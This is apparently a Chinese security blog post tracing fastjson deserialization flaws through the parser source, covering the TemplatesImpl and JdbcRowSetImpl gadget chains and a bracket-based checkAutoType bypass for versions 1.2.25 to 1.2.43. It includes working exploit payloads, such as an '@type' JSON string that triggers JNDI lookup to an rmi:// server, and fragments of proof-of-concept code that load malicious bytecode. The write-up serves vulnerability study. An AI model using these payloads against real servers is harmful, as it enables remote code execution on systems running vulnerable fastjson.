fastjson反序列化
FastJson反序列化
https://su18.org/post/fastjson/
这里只是分析一下1.2.43版本的fastjson反序列化,其他版本的su18师傅写的非常详细,我就不摘抄了,如果有看不懂的建议去看上面su18师傅的文章
为了对新人友好,还是简单介绍一下用法以及常用的链
环境搭建
1 | <dependencies> |
简单使用
fastjson可以将字符串转换为对象,也可以把对象序列化为字符串。使用JSON的toJSONString
方法 可以将对象转换为字符串
但是这里转化的字符串只有属性的值,无法区分是哪个类进行了序列化转化的字符串,这里就有了在JSON.toJSONString
的第二个参数SerializerFeature.WriteClassName
写下这个类的名字
@type
关键字标识的是这个字符串是由某个类序列化而来。
通过这个demo可以看出
在使用JSON.parseObject
方法的时候只有在第二个参数指定是哪个类 才会反序列化成功。在字符串中使用@type:com.liang.pojo.User
指定类 会调用此类的get和set方法 但是会转化为JSONObject
对象。
而使用JSON.parse
方法 无法在第二个参数中指定某个反序列化的类,它识别的是@type
后指定的类
而且可以看到 凡是反序列化成功的都调用了set方法。
@type 指定类
使用JSON.parse
方法反序列化会调用此类的set方法
使用JSON.parseObject
方法反序列化会调用此类get和set方法
Fastjosn在反序列化时默认只会反序列化public属性
想要反序列化private
修饰的属性,需要在反序列化的时候加上Feature.SupportNonPublicField
TemplatesImpl 反序列化
上面知道JSON.parseObject
会调用@type
指定类型的get,set方法。
在TemplatesImpl
中属性的get和set方法中getOutputProperties
方法调用了newTransformer
方法
在newTransformer
中调用了getTransletInstance()
在getTransletInstance()
中要调用defineTransletClasses()
,保证_name
不为null,_class
==null
在defineTransletClasses中 重写了defineClass方法 对_bytecodes
中的恶意代码进行加载。
上面其实说的是后半部分的分析。
parseObject 做了什么?
在方法体里其实也是调用了parse
方法
跟进去
继续点进去:
new DefaultJSONParser()
判断了字符串开头是不是{
之后就到了DefaultJSONParse.parse()
case 12这个分支:
之后初始化了map属性:new HashMap
然后调用了parseObject
:
之后进入一段for循环,首先会处理空格等字符,然后获取第一个字符是"
,之后就会进入ch == '"'
的分支
在scanSymbol
中会将引号包裹的内容读出来=》@type
,然后又是过滤空白字符,然后获取当前字符,如果当前字符不是:
会因为不符合JSON语法直接报错,之后会获取下一个字符,然后处理空白字符
之后会对之前获取的键进行判断,判断key 是否等于 @type
,判断之前传入的feature是否启用特殊字符检查(1.2.24版本以后都默认开启AutoType),之后便又通过scanSymbol
获取值的内容,然后通过loadClass
加载这个Class对象
跟进loadClass方法:
会从mappings中查找是否导入过相关Class对象,如果找到直接返回,否则加载
中间还会判断className开头字符是不是[
或者L
,结尾是不是;
,之后会加载这个类,并将他放到mappings中,然后返回该对象
之后在DefaultJSONParser
类中,通过getDeserializer获得当前class对象中的一些set/get方法
跟进去之后,会调用到ParserConfig.getDeserializer()
,之后进入到createJavaBeanDeserializer()
中
在config.getDeserializer(clazz)
中最后会调用到JavaBeanInfo.build()
方法
在build()
中首先获取了方法、属性和构造函数:
之后会进入方法的循环:
set查找逻辑:
1、方法名长度大于等于4
2、非static方法
3、返回值为void或当前类
4、方法名以set开头
get查找逻辑:
1、方法名长度大于等于4
2、方法名以get开头
3、方法名第4个字母为大写
4、无需传参
5、返回值类型为Collection、Map的实现类或为AtomicBoolean AtomicInteger AtomicLong
之后回到DefaultJSONParser.java
跟进deserialze()
,之后在parseField()
上打断点:
进入parseField
的重载方法
然后调用setValue()
,并通过反射调用对应的setter方法设置值
poc首先要继承AbstractTranslet
,因为在defineTransletClasses
有检测父类
最终poc:
1 | package com.fastjson24; |
1 | Path path = Paths.get("./java/com/lucifer/TestFile.class"); |
JdbcRowSetImpl 反序列化
JdbcRowSetImpl
位于com.sun.rowset.JdbcRowSetImpl
下,导致反序列化的原因主要是:JNDI的动态协议解析
在这个类中有一个SetAutoCommit()
,在第一次调用的时候会调用connect()
方法
在connect()
方法中就调用了lookup()
所以对应的payload:
1 | { |
这里因为lookup的参数完全可控导致了JNDI注入。
fastjson-1.2.43
1.2.25 <= fastjson <= 1.2.43
使用的payload:
1 | {"@type":"[Lcom.sun.rowset.JdbcRowSetImpl;"[,{"dataSourceName":"rmi://127.0.0.1:1099/Exploit","autoCommit":true} |
调试代码如下,在parseObject()处打断点就可以了
1 | ParserConfig.getGlobalInstance().setAutoTypeSupport(true); |
这里是用的JdbcRowSetImpl
这条链子,可能还需要开启一下恶意的jndiServer
前面的调用栈很简单,上面在parseObject()
中也调试过了,不再赘述
1 | at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:989) |
主要看checkAutoType()
,这里做了针对1.2.42补丁绕过的修补:
只要出现两个LL
开头直接抛出异常
这个需要用到另一个loadClass
中的逻辑来绕过
在className前加[
就可以进入这个逻辑,这个逻辑返回了一个Array的Class对象,成员类型是咱们的恶意类,com.sun.rowset.JdbcRowSetImpl
,之后会进入parseArray中会将成员类型也反序列化的。
先说一下目前为止的调用逻辑:JSON.parseObject()
==>ParserConfig.checkAutoType()
在这个checkAutoType中会检查你的@type后面传入的className是否是以两个LL开头,如果是直接抛出异常,之后就是检测className是否在黑名单中,所以这里要用[去绕过==>TypeUtils.loadClass()
在loadClass中会检测className的第一个字母是否是[
,如果是会去掉之后再次调用loadClassName(),之后就返回Array的Class对象,这中间省略了一些函数调用栈
然后就回到了DefaultJSONParser.parseObject()
,这里有一个判断,判断下一个JSON token是不是}
,如果是就直接调用空参构造方法,返回构造对象。
由于payload下一个token是[
,所以就到了deserializer.deserialze()
中,至于为什么要在payload中写一个[
,下面会有答案
之后又到了parseArray()
中,这里的componentType
就是com.sun.rowset.JdbcRowSetImpl
在parseArray()
验证了当前toekn如果不是[
直接抛出异常
加]
就可跳出这个报错,这里需要注意这个]
一定要加在逗号之前,因为JSONLexer.nextToken()
用于读取并返回 JSON 字符串中的下一个令牌(token)。在 JSON 中,令牌可以是 JSON 对象的开始 {
、结束 }
,JSON 数组的开始 [
、结束 ]
,JSON 键值对之间的逗号 ,
,字符串值,数字值,布尔值,null 值等等。解析器通过逐个读取这些令牌来构建整个 JSON 结构。
config.getDeserializer()
获取到了type
的属性和方法,
在getDeserializer(type)
中又调用了JavaBeanInfo.build()
,JavaBeanInfo
类的属性提供了关于 JavaBean 结构的详细信息,使 Fastjson 能够更灵活地处理不同类型的 Java 对象。
在这段代码里fastJson还判断了是否可以生成ASM字节码,如果目标类符合条件,asmEnable
为true
,然后创建JavaBeanDeserializer
然后返回了实例作为(ObjectDeserializer)deserializer
,并在下面设置了nextToken()
所期望的类型,这就导致,
不能成为下一个token,必须要是{
,否则后面会报错
之后就会进入deserializer.deserialze(this,type,i)
,这里的type就是com.sun.rowset.JdbcRowSetImpl
这个deserializer
就是刚刚生成的ASM字节码的实例化对象,然后调用deserialze()
,这里在IDEA中无法调试,这是运行时动态生成的,IDEA无法找到对应的类,但是我们可以根据上面的code
,code就是一个bytes数组,只需要将这个数组写到文件里,在IDEA打开就可以看到反编译后的java代码
这个函数最后调用了parseRest()
之后跟进deserialze()
,就是判断token
如果不是{
或者,
就报错
然后回根据之前获取到的JdbcRowSetImpl
类字段列表依次和JSON字符串中的属性匹配,如果在JSON字符串中出现就会调用对应的set方法设置值
在调用这个set方法前,已经将dataSource赋值了,那dataSource是在什么时候赋值的呢?
只有可能在这个FastjsonASMDeserializer_1_JdbcRowSetImpl.class
中赋值的,但是为什么没有给AutoCommit赋值呢?
payload的执行结果如下所示:
中间产生的小插曲:
接下来的测试过程中,出现了这个报错,爆出了具体的版本,记录一下payload
1 | String json = "{" + |